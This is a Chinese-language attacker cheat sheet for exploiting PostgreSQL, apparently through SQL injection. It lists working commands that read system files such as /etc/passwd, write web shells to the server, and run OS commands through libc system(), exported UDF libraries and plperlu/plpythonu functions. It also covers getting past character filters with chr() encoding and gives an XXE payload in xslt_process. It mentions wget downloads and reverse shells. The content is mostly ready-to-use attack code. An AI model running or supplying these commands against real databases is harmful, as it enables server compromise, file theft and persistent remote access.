方法1.
适用于可以多语句执行时
读取
CREATE TABLE read(t TEXT); COPY read FROM '/etc/passwd'; SELECT * FROM read limit 1 offset 0; drop table read;
写出
CREATE TABLE shell(t TEXT); INSERT INTO shell(t) VALUES ('shel text'); COPY shell(t) TO '/www/shell.php';
方法2.
适用于不能多语句执行,且当前用户为超级用户
读取
select lo_import('/etc/passwd',88888);//输入系统文件到大对象,指定oid为88888 select array_agg(b) from (select encode(data,'hex')b,pageno from pg_largeobject where loid=88888 order by pageno)a;//取出数据的hex编码,自己复制本地转换 select lo_unlink(88888);//删除loid为88888的大对象
写出
select lo_create(88888);//创建loid为88888空的大对象 select lowrite(lo_open(88888,131072),decode('272829','hex'));//inv_write(写,值为131072) inv_read(读,值为262144) inv_write|inv_read (读写,值为393216),272829为想写入文件的hex值(前面无0X) select lo_export(88888,'/tmp/shell.php');//写出shell select lo_unlink(88888);
大对象详情
http://doc.zzbaike.com/postgresql/8-1/pgsqldoc-cvs/lo-interfaces.html
http://www.2cto.com/database/201309/241947.html
2.命令执行
1.内置libc库的system()函数,8.1版本后不能动态加载
CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT; select system('id');
2.udf导出(使用大对象导出)
insert into pg_largeobject (loid,pageno,data) values(loid, 0, decode('', 'hex'));//插入pg对应版本udf的hex值,其中loid为int型数值尽量取大些如999999 select lo_export(999999,'/tmp/sys.so');导出udf文件 CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS '/tmp/sys.so', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;//创建sys_eval函数 select sys_eval('id');可以执行命令了
pg导出udf工具 需要可以外联,知道帐号密码
http://pan.baidu.com/share/link?shareid=2228793351&uk=1898022059
(其中里面的py脚本里有8.3-9.0版本udf hex值)
3.使用第三方语言如perl/python(需要目标存在第三方库)
1.perl
SELECT count(*) FROM pg_language WHERE lanname='plperlu';//查询是否创建plperlu,安装了返回1,没有返回0 CREATE LANGUAGE plperlu;//为0的话可以尝试添加 CREATE FUNCTION proxyshell(text) RETURNS text AS 'open(FD,"$_[0] |");return join("",);' LANGUAGE plperlu;//创建perl函数 select proxyshell('id');//执行命令
2.python(同上)
SELECT count(*) FROM pg_language WHERE lanname='plpythonu'; CREATE LANGUAGE plpythonu; CREATE FUNCTION proxyshell(text) RETURNS text AS 'import os; return os.popen(args[0]).read() 'LANGUAGE plpythonu; select proxyshell('id');
tips:
1.回显命令可以把结果插进表中
create table test(id serial,out text); insert into test(out) values(proxyshell('ls /tmp')); select out from test where id=1;
2.更加方便的可以直接wget,反弹shell
3.创建函数时字符被过滤,可以这样
CREATE FUNCTION sys() RETURNS text AS $p$open(FD,chr(105).chr(100).chr(32).chr(124));return join(0,);$p$ LANGUAGE plperlu; //命令直接写入函数,char(105),char(100)为id命令,其他命令转为ascii编码写入 select sys();//执行命令 drop function sys();//删除函数,写入下个命令
3.基于错误XML漏洞
poc:
SELECT xslt_process('<!DOCTYPE employee [<!ENTITY asd SYSTEM "/etc/passwd">] ><employee><name>&asd;</name><age>30</age><pay>400</pay></employee>'::text, $$<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" version="1.0"><xsl:template match="*"> <xsl:element name="samples"> <xsl:element name="sample"><xsl:value-of select="//employee/name/text()"/> </xsl:element> </xsl:element></xsl:template></xsl:stylesheet>$$::text, 'n1=v1,n2=v2,n3=v3,n4=v4,n5=v5'::text);
更多详情
http://www.2cto.com/Article/201111/109868.html
http://lab.onsec.ru